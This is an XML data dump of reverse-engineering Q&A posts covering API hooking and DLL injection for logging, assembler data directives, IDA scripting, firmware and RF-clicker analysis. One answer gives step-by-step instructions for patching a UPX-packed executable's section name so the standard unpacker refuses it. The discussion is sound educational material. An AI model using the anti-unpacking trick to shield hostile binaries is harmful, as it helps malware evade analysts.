  <row Id="3623" PostTypeId="1" AcceptedAnswerId="3624" CreationDate="2014-02-05T11:46:52.193" Score="4" ViewCount="1290" Body="&lt;p&gt;I'm reversing an application written in C. I have a certain function that I want to log runtime, without pausing/stopping the application. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My desired values of that function are: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;[ESP + 4]&lt;/code&gt; which is the length of a buffer &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;[ESP + 8]&lt;/code&gt; which is a &lt;em&gt;pointer&lt;/em&gt; to a string buffer&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then I want to read the buffer and write it into a file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First thing I was told to use is Immunity's &lt;code&gt;LogBpHook&lt;/code&gt;, which worked great, but it stops the application and it becomes really slow due to this, because it's a frequently called function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I tried to setup &lt;code&gt;FastLogHook&lt;/code&gt; which sounds more like what I'm after. It injects a log stub and stores encountered values, but as far as I know it can not perform further memory readings like the one I described above anyway (if it can please tell me). Also it constantly crashed my application so it's out of the question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I left with the idea of injecting a customized code stub that would take care of further readings and logging of the values into a file. Is there any tool that could do this, or I have to manually write+inject this assembly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I log function parameters runtime, without stopping the application?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="2354" LastEditorUserId="2354" LastEditDate="2015-04-08T17:08:00.607" LastActivityDate="2015-04-08T17:08:00.607" Title="Runtime memory reading with injection" Tags="|assembly|memory|immunity-debugger|functions|callstack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3624" PostTypeId="2" ParentId="3623" CreationDate="2014-02-05T12:31:19.630" Score="4" Body="&lt;ol&gt;&#xA;&lt;li&gt;You can write your hooking library (DLL) which will patch the API you are targeting. This patch will just print to file/console the parameters and continue back to the original function. There will be no stops on the way. To actually hook the APIs you will need to inject the DLL into the target application. You can use &lt;a href=&quot;http://research.microsoft.com/en-us/projects/detours/&quot; rel=&quot;nofollow&quot;&gt;Detours from Microsoft&lt;/a&gt; as and example which is a software package for re-routing Win32 APIs underneath applications.&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.codeproject.com/Articles/2082/API-hooking-revealed&quot; rel=&quot;nofollow&quot;&gt;API hooking revealed&lt;/a&gt; - an article on &lt;strong&gt;CodeProject&lt;/strong&gt; with examples. But you can find on the net endless examples for this technique.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.codeproject.com/Articles/30140/API-Hooking-with-MS-Detours&quot; rel=&quot;nofollow&quot;&gt;API Hooking with MS Detours&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.rohitab.com/apimonitor&quot; rel=&quot;nofollow&quot;&gt;API Monitor&lt;/a&gt; - API Monitor is a free software that lets you monitor and control API calls made by applications and services. Its a powerful tool for seeing how applications and services work or for tracking down problems that you have in your own applications.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Instrumentation_%28computer_programming%29&quot; rel=&quot;nofollow&quot;&gt;Process instrumentation&lt;/a&gt; - &lt;code&gt;instrumentation refers to an ability to monitor or measure the level of a product's performance, to diagnose errors and to write trace information.&lt;/code&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Pin_%28computer_program%29&quot; rel=&quot;nofollow&quot;&gt;Pin is a platform for creating analysis tools&lt;/a&gt; - &lt;code&gt;A pin tool comprises instrumentation, analysis and callback routines.&lt;/code&gt; &lt;a href=&quot;http://resources.infosecinstitute.com/pin-dynamic-binary-instrumentation-framework/&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; you can find an intro to writing pintool which you can extend to your needs. This is pretty powerful technique and more hard to adapt among all that I've listed here. The original site from &lt;a href=&quot;http://software.intel.com/en-us/articles/pintool/&quot; rel=&quot;nofollow&quot;&gt;Intel&lt;/a&gt; and specifically at &lt;a href=&quot;http://software.intel.com/sites/landingpage/pintool/docs/62732/Pin/html/index.html#FunctionArguments&quot; rel=&quot;nofollow&quot;&gt;Finding the Value of Function Arguments&lt;/a&gt; can help you with what you are looking for.&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2021" LastEditorUserId="2021" LastEditDate="2014-02-05T14:08:48.740" LastActivityDate="2014-02-05T14:08:48.740" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3625" PostTypeId="2" ParentId="3621" CreationDate="2014-02-05T14:31:07.500" Score="2" Body="&lt;p&gt;As 3asm_ suggested, it would be best to try API Monitor first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, though, an alternative would be to attach to IE with a debugger and set logging breakpoints on the entrypoint of each method in the OCX. You can then see the order in which IE calls them and the arguments that are passed.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-02-05T14:31:07.500" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3627" PostTypeId="2" ParentId="3335" CreationDate="2014-02-05T18:01:50.867" Score="-3" Body="&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/a/3324/1562&quot;&gt;As answered in response to your previous question&lt;/a&gt;, UPX is open-source, so you can read the commented code to understand the headers: &lt;a href=&quot;http://upx.sourceforge.net/download/upx-3.91-src.tar.bz2&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://upx.sourceforge.net/download/upx-3.91-src.tar.bz2&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2014-02-05T18:01:50.867" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="3628" PostTypeId="1" CreationDate="2014-02-06T01:23:03.800" Score="2" ViewCount="671" Body="&lt;p&gt;I have dug in simple binaries, such as though like x86 bootloaders, Sega video game binaries, etc. I know that these files tend to use assembler macros to define data, etc. What I am having trouble figuring out is what assemblers tend to translate macros into exactly (are they instructions, custom formatted data entries used statically, addressing mode/special opcodes, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example, x86 assemblers support &lt;code&gt;DEFINE BYTE&lt;/code&gt; macros. What is the assembling process of these (and similar) macros an assembler will turn to binary? Do they become static, custom binary format used within file itself, do they become x86 instruction,  etc.?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example you could try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[ORG 0x7C02]&#xA;[BITS 16]&#xA;jmp $&#xA;times 510-($-$$) db 0&#xA;dw 0xAA55&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3852" LastEditorUserId="53" LastEditDate="2017-08-08T12:18:13.907" LastActivityDate="2017-08-09T07:11:14.507" Title="What exactly do assemblers translate macros into?" Tags="|disassembly|binary-analysis|file-format|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3629" PostTypeId="2" ParentId="3628" CreationDate="2014-02-06T08:25:37.027" Score="0" Body="&lt;p&gt;What you are referring to are additional information or macros that are inserted at the assembler level by the compiler before going to the linker. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, the linker may use these information to optimize the final executable file (in term of size or memory layout of the different procedures). And, macros may be replaced by template functions that lies inside your compiler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, all these information and macros are only present here because what you see is an on-going work. The compiler need still to swallow a bit more the assembler file before outputting a real executable file. And, at the very end of the process, all these intermediate flags (destined to the compiler) will be removed and/or replaced by actual code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a small example.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;C file&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int main ()&#xA;{&#xA;  printf(&quot;Hello World!\n&quot;);&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Assembler file (before linker)&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    .file   &quot;sample.c&quot;&#xA;    .section    .rodata&#xA;.LC0:&#xA;    .string &quot;Hello World!&quot;&#xA;    .text&#xA;    .globl  main&#xA;    .type   main, @function&#xA;main:&#xA;.LFB0:&#xA;    .cfi_startproc&#xA;    pushq   %rbp&#xA;    .cfi_def_cfa_offset 16&#xA;    .cfi_offset 6, -16&#xA;    movq    %rsp, %rbp&#xA;    .cfi_def_cfa_register 6&#xA;    movl    $.LC0, %edi&#xA;    call    puts&#xA;    movl    $0, %eax&#xA;    popq    %rbp&#xA;    .cfi_def_cfa 7, 8&#xA;    ret&#xA;    .cfi_endproc&#xA;.LFE0:&#xA;    .size   main, .-main&#xA;    .ident  &quot;GCC: (Debian 4.8.2-14) 4.8.2&quot;&#xA;    .section    .note.GNU-stack,&quot;&quot;,@progbits&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Pure executable file (after linker)&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000004004fd &amp;lt;main&amp;gt;:&#xA;  4004fd:       55                      push   %rbp&#xA;  4004fe:       48 89 e5                mov    %rsp,%rbp&#xA;  400501:       bf c4 05 40 00          mov    $0x4005c4,%edi&#xA;  400506:       e8 d5 fe ff ff          callq  4003e0 &amp;lt;puts@plt&amp;gt;&#xA;  40050b:       b8 00 00 00 00          mov    $0x0,%eax&#xA;  400510:       5d                      pop    %rbp&#xA;  400511:       c3                      retq   &#xA;  400512:       66 2e 0f 1f 84 00 00    nopw   %cs:0x0(%rax,%rax,1)&#xA;  400519:       00 00 00 &#xA;  40051c:       0f 1f 40 00             nopl   0x0(%rax)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2014-02-06T09:51:56.953" LastActivityDate="2014-02-06T09:51:56.953" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3630" PostTypeId="2" ParentId="3628" CreationDate="2014-02-06T18:49:49.690" Score="3" Body="&lt;p&gt;An assembly language is much more than a set of mnemonics that translate to machine code. The syntax of an assembly language will dictate how you specify operands, the order in which they are specified, how to specify the size of the operands and much more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition an assembly language will generally include a set of directives to help make your life easier and may include a facility for declaring macros. There is a distinction between directives such as &lt;code&gt;dd&lt;/code&gt;, &lt;code&gt;resd&lt;/code&gt;, and &lt;code&gt;times&lt;/code&gt; which instruct the assembler to do very specific things and macros which are generally just shortcuts which are expanded by the assembler during a preprocessing phase. Macros may expand to code, data, directives or any combination thereof.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of your example, the assembler is being asked to pad with zeros (&lt;code&gt;db 0&lt;/code&gt;) out to a size of 510 bytes (&lt;code&gt;510 - ($-$$)&lt;/code&gt;), finally the word value &lt;code&gt;0xAA55&lt;/code&gt; will be appended to make the total section size 512 bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More generally, data declarations such as &lt;code&gt;db&lt;/code&gt;, &lt;code&gt;dw&lt;/code&gt;,and &lt;code&gt;dd&lt;/code&gt; get translated into initialized data in a &lt;code&gt;.data&lt;/code&gt; section, while data &quot;reservations&quot; such as &lt;code&gt;resb&lt;/code&gt; may be translated into file sections that results in the creation of a &lt;code&gt;.bss&lt;/code&gt; section which gets allocated at process load time. Please keep in mind that much of this is also dependent on any section directives that you may use which also dictate when and where data may be allocated.&lt;/p&gt;&#xA;" OwnerUserId="3767" LastEditorUserId="60" LastEditDate="2017-08-09T07:11:14.507" LastActivityDate="2017-08-09T07:11:14.507" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3631" PostTypeId="2" ParentId="3628" CreationDate="2014-02-06T19:55:03.943" Score="1" Body="&lt;p&gt;db 0xxh  will be encoded as it is in binary so if db 0cch   was issued &lt;/p&gt;&#xA;&#xA;&lt;p&gt;just one byte 0xcc will be encoded in the exact position db was issued&lt;/p&gt;&#xA;&#xA;&lt;p&gt;dw will encode one word&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ie dw 0aa55h will be seen as AA 55 in the binary   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;dd  = DWORD == 2 WORDS == 4 BYTES  so dd 01337BABEh  will be encoded as 13 37 ba be in binary&lt;br&gt;&#xA;dq = qword == 2 dwords == 4 words == 8 bytes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;contents of directory prior to assembling and linking   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   :\&amp;gt;dir /b&#xA;    bootlo.asm&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;contents of asm file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;type bootlo.asm&#xA;.386&#xA;.model flat, stdcall&#xA;.code&#xA;ORG 337h&#xA;start:&#xA;jmp @F&#xA;db 0bh dup (0CCh)&#xA;@@:&#xA;dw 0AA55h&#xA;dd 01337babeh&#xA;dq 05D0DDEED1337BABEh&#xA;retn&#xA;end start&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;assembling the file &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;ml /coff /nologo  bootlo.asm /link /subsystem:windows /nologo  &#xA;&#xA; Assembling: bootlo.asm&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;contents of directory post assembly and link&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;dir /b&#xA;bootlo.asm&#xA;bootlo.exe&#xA;bootlo.obj&#xA;mllink$.lnk&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;explanation follows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;org 337 has become default start of code section + 337  &#xA;&#xA;ie 0x1000 + 0x337  so during runtime it would be entry point RVA + default base &#xA;&#xA;ie  0x400000 + 0x1000 + 0x337 == 0x401337   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;at 401337 you have will have a jump encoded&lt;/code&gt; whose size would be the differnce  between the address of next label and current instruction&lt;/p&gt;&#xA;&#xA;&lt;p&gt;next label follows after &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;db 0bh&lt;/code&gt;   i encoded &lt;code&gt;0xcc&lt;/code&gt; in example but &lt;code&gt;0xab&lt;/code&gt; or &lt;code&gt;0xff&lt;/code&gt; or &lt;code&gt;0x00&lt;/code&gt; or &lt;code&gt;any byte&lt;/code&gt; can be encoded and assembler will emit exactly &lt;code&gt;what was asked for&lt;/code&gt; &amp;amp; &lt;code&gt;how many times&lt;/code&gt; it was  asked for&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so there will be a short jump viz &lt;code&gt;eb 0b&lt;/code&gt;  (x86 opcode ) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;follwing the label dw 0AA55h is issued so at 400000 + 1000 + 337 + 0x0b&lt;br&gt;&#xA;&lt;code&gt;AA 55  or 55 AA should be seen at 401344 (beware endianness)&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;assembled binary can be dumped and checked if AA 55 exists  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;echo. &amp;amp; dumpbin /ALL bootlo.exe | grep -i entry &amp;amp; echo. &amp;amp; dumpbin /all bootlo&#xA;.exe | grep -A 1 -B 1 -i 55&#xA;&#xA;&#xA;&#xA;1337 RVA of entry point&#xA;&#xA;&#xA;  00401330: 00 00 00 00 00 00 00 EB 0B CC CC CC CC CC CC CC  .......δ.╠╠╠╠╠╠╠&#xA;  00401340: CC CC CC CC 55 AA BE BA 37 13 BE BA 37 13 ED DE  ╠╠╠╠U¬╛║7.╛║7.φ▐&#xA;  00401350: 0D 5D C3                                         .]├&#xA;&#xA;:\&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2014-02-06T20:08:21.877" LastActivityDate="2014-02-06T20:08:21.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3632" PostTypeId="2" ParentId="3323" CreationDate="2014-02-06T20:41:00.763" Score="13" Body="&lt;p&gt;Fooling &lt;code&gt;upx -d&lt;/code&gt; can be as simple as one byte patch here is a small sample.&lt;/p&gt;&#xA;&lt;p&gt;Pack the MS-Windows standard &lt;code&gt;calc.exe&lt;/code&gt;, hexedit one byte and result is an undepackable executable with &lt;code&gt;upx -d&lt;/code&gt; (this is &lt;strong&gt;not&lt;/strong&gt; &lt;code&gt;corrupting&lt;/code&gt; the exe, the exe will run and can be unpacked manually). Only unpacking with the &lt;code&gt;-d&lt;/code&gt; switch wont work.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;create a new folder &lt;code&gt;foolupx&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; foolupx:\&amp;gt;md foolupx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;copy &lt;code&gt;calc.exe&lt;/code&gt; to the newly created folder:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; foolupx:\&amp;gt;copy c:\WINDOWS\system32\calc.exe foolupx\upxedcalc.exe&#xA;     1 file(s) copied.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;pack the renamed &lt;code&gt;calc.exe&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; foolupx:\&amp;gt;upx .\foolupx\upxedcalc.exe&#xA; Ultimate Packer for eXecutables&#xA; Copyright (C) 1996 - 2011&#xA; UPX 3.08w       Markus Oberhumer, Laszlo Molnar &amp;amp; John Reiser   Dec 12th 2011&#xA;&#xA;     File size         Ratio      Format      Name&#xA;    --------------------   ------   -----------   -----------&#xA;      114688 -&amp;gt;     56832   49.55%    win32/pe     upxedcalc.exe&#xA;&#xA; Packed 1 file.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a duplicate of the packed &lt;code&gt;calc.exe&lt;/code&gt; for hexediting and compare the files. The difference is one byte in the PE header section named &lt;code&gt;UPX0&lt;/code&gt; changed to &lt;code&gt;BPX0&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; foolupx:\&amp;gt;copy .\foolupx\upxedcalc.exe .\foolupx\modupxedcalc.exe&#xA;     1 file(s) copied.&#xA;&#xA; foolupx:\&amp;gt;fc .\foolupx\upxedcalc.exe .\foolupx\modupxedcalc.exe&#xA; Comparing files .\FOOLUPX\upxedcalc.exe and .\FOOLUPX\MODUPXEDCALC.EXE&#xA; 000001E8: 55 42&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Uncompress both files with the &lt;code&gt;-d&lt;/code&gt; switch. One will be unpacked, the other will not be unpacked:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; foolupx:\&amp;gt;upx -d .\foolupx\modupxedcalc.exe&#xA; Ultimate Packer for eXecutables&#xA; Copyright (C) 1996 - 2011&#xA; UPX 3.08w       Markus Oberhumer, Laszlo Molnar &amp;amp; John Reiser   Dec 12th 2011&#xA;&#xA;     File size         Ratio      Format      Name&#xA;    --------------------   ------   -----------   -----------&#xA;     upx: .\foolupx\modupxedcalc.exe: CantUnpackException: file is modified/hacked/protected; take care!!!&#xA;&#xA; Unpacked 0 files.&#xA;&#xA; foolupx:\&amp;gt;upx -d .\foolupx\upxedcalc.exe&#xA; Ultimate Packer for eXecutables&#xA; Copyright (C) 1996 - 2011&#xA; UPX 3.08w       Markus Oberhumer, Laszlo Molnar &amp;amp; John Reiser   Dec 12th 2011&#xA;&#xA;       File size         Ratio      Format      Name&#xA;  --------------------   ------   -----------   -----------&#xA;  114688 &amp;lt;-     56832   49.55%    win32/pe     upxedcalc.exe&#xA;&#xA; Unpacked 1 file.&#xA;&#xA; foolupx:\&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="-1" LastEditDate="2023-06-29T09:42:33.930" LastActivityDate="2023-06-29T09:42:33.930" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="3633" PostTypeId="2" ParentId="3597" CreationDate="2014-02-06T23:13:56.763" Score="8" Body="&lt;p&gt;You are looking at binary that is compiled as position-independent code. The &lt;code&gt;call    _i686_get_pc_thunk_bx&lt;/code&gt; and the following addition to &lt;code&gt;ebx&lt;/code&gt; shows just that. If you take a look at the disassembly, you'll see that the address of the &lt;code&gt;add ebx, 292Eh&lt;/code&gt; plus 0x292E will result in the first address of the GOT. That why in the next line, _dso_handle_ptr is addressed in such a &quot;funny&quot; way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA however is nice enough to show you this in the disassembly as you would normally only see 0xSOMEADDR[ebx]. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of the second question: that line retrieves a global variable, puts it into &lt;code&gt;eax&lt;/code&gt; and then checks if it is zero or not. So, you should not just &quot;delete&quot; that line since then the &lt;code&gt;test eax, eax&lt;/code&gt; would use some old value of &lt;code&gt;eax&lt;/code&gt; (which I am sure you will not like all that much).&lt;/p&gt;&#xA;" OwnerUserId="3155" LastActivityDate="2014-02-06T23:13:56.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3634" PostTypeId="1" AcceptedAnswerId="3635" CreationDate="2014-02-07T00:50:10.930" Score="3" ViewCount="987" Body="&lt;p&gt;In my IDC script I open a log file, do some analysis, write in the file and close the file like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;main(){&#xA;open_log();&#xA;do_analysis();&#xA;close_log();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Currently I am using this script on command line, and I am trying to close the GUI after analysis(or be more exact, don't not open GUI while analyzing)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is command line I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;z:\ida6.1\idaq.exe -A -SfunctionEnumeration.idc z:\Linux\targetfile&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I modified my script like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;main(){&#xA;open_log();&#xA;do_analysis();&#xA;close_log();&#xA;&#xA;Wait();&#xA;Exit(0);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Currently it will generate the log file, but no content in it..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that IDA Pro is closed before the write operation(or close operation)&#xA;on the log file, but I don't understand why because Wait() is called in my script...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read the IDC manual and haven't find anything useful...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone give me some help? Thank you!&lt;/p&gt;&#xA;" OwnerUserId="3215" LastActivityDate="2014-02-07T01:08:01.750" Title="Why the Wait() in idc script can not work on IDA Pro?" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3635" PostTypeId="2" ParentId="3634" CreationDate="2014-02-07T01:08:01.750" Score="3" Body="&lt;p&gt;Try&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;main(){&#xA;Wait();&#xA;open_log();&#xA;do_analysis();&#xA;close_log();&#xA;Exit(0);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-02-07T01:08:01.750" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3636" PostTypeId="1" CreationDate="2014-02-07T01:35:43.873" Score="3" ViewCount="1118" Body="&lt;p&gt;I want to modify the mentioned camera firmware (SJ1000). The binary (.bin) firmware file can be downloaded from &lt;a href=&quot;http://web.archive.org/web/20141216093044/http://actioncamfaq.com/category/firmware&quot; rel=&quot;nofollow noreferrer&quot;&gt;archive.org&lt;/a&gt;.&#xA;I used &lt;code&gt;binwalk&lt;/code&gt; to scan the binary, but I'm stuck. The &lt;code&gt;binwalk&lt;/code&gt; signature scan detects 3 signatures in the binary:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;88K BCS EXECUTABLE&lt;/li&gt;&#xA;&lt;li&gt;LZMA-compressed data&lt;/li&gt;&#xA;&lt;li&gt;LZMA-compressed data&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The two LZMA compression signatures seem to be false positives, because they have a negative size. I copied the LZMA-compressed data with &lt;code&gt;dd&lt;/code&gt;, but I can't unpack it. The LZMA unpacker returns an error message: &lt;code&gt;the file is not valid LZMA compressed data&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the &lt;code&gt;88K BCS EXECUTABLE&lt;/code&gt; signature: I don't know what is this. I can copy it with &lt;code&gt;dd&lt;/code&gt;, but I can't do anything with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do? Is it possible to decompose this file into its constituent parts, or is this impossible?&lt;/p&gt;&#xA;" OwnerUserId="3860" LastEditorUserId="18317" LastEditDate="2017-04-08T02:17:53.720" LastActivityDate="2017-05-08T08:43:36.727" Title="SJ1000 ActionCam firmware" Tags="|binary-analysis|firmware|" AnswerCount="2" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3637" PostTypeId="1" CreationDate="2014-02-07T02:02:11.660" Score="6" ViewCount="1517" Body="&lt;p&gt;At my university we're required to purchase these &lt;a href=&quot;http://www.turningtechnologies.com/response-solutions/responsecard-rf-lcd&quot; rel=&quot;noreferrer&quot;&gt;RF clickers with an lcd screen&lt;/a&gt; so professors who choose to take attendance can do so in an automated fashion, and occasionally administer simple quizzes without having to take time to grade them. The clicker costs about $50, so I thought, why not buy a receiver and write some code to interface with it and do cool things if I've already got half the hardware?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Research turned up &lt;a href=&quot;http://www.turningtechnologies.com/receivers/rf-receiver&quot; rel=&quot;noreferrer&quot;&gt;the receiver unit&lt;/a&gt; with no price listed, but some quick amazon and ebay checks revealed the going rate to be about $400 which is well outside the range that I as a student am willing to spend to hack on some hardware, no matter how cool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an alternate generic receiver module I could look into, something in the $10-$30 range? Is the signal employed by this particular clicker encrypted so I cannot access it anyway? $50 on the clicker is a fortune to spend as a student on a piece of technology that will essentially turn into a brick once I graduate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any resources out there that can provide any information on the signal and how I could extract meaningful data? I'm looking to be able to read clicker ID and responses, and hack together a controller for my laptop or a simple voting system I can use with my friends to mediate movie choices and meal debates.&lt;/p&gt;&#xA;" OwnerUserId="3861" LastEditorUserId="245" LastEditDate="2014-02-07T03:30:16.063" LastActivityDate="2018-10-04T09:46:21.807" Title="Turning Technologies RF receiver" Tags="|hardware|decryption|security|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3638" PostTypeId="2" ParentId="3637" CreationDate="2014-02-07T03:58:52.497" Score="3" Body="&lt;p&gt;You can build your own USB RF receiver fairly cheaply, for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://hackaday.com/2012/03/20/software-defined-radio-from-a-usb-tv-capture-card/&quot; rel=&quot;nofollow&quot;&gt;http://hackaday.com/2012/03/20/software-defined-radio-from-a-usb-tv-capture-card/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This might be a good starting point, run the usb receiver, sniff the RF, press some buttons and see what happens :)&lt;/p&gt;&#xA;" OwnerUserId="3638" LastActivityDate="2014-02-07T03:58:52.497" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3639" PostTypeId="1" AcceptedAnswerId="3640" CreationDate="2014-02-07T14:22:53.713" Score="6" ViewCount="3393" Body="&lt;p&gt;Given a breakpoint at an expression &lt;code&gt;MOV EDI, EAX&lt;/code&gt;, how can you automatically log/write to file the referenced string whenever the breakpoint is hit?&lt;/p&gt;&#xA;" OwnerUserId="3864" LastActivityDate="2014-02-07T17:24:18.150" Title="OllyDbg: Automatically extract string when breakpoint is hit" Tags="|ollydbg|debuggers|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
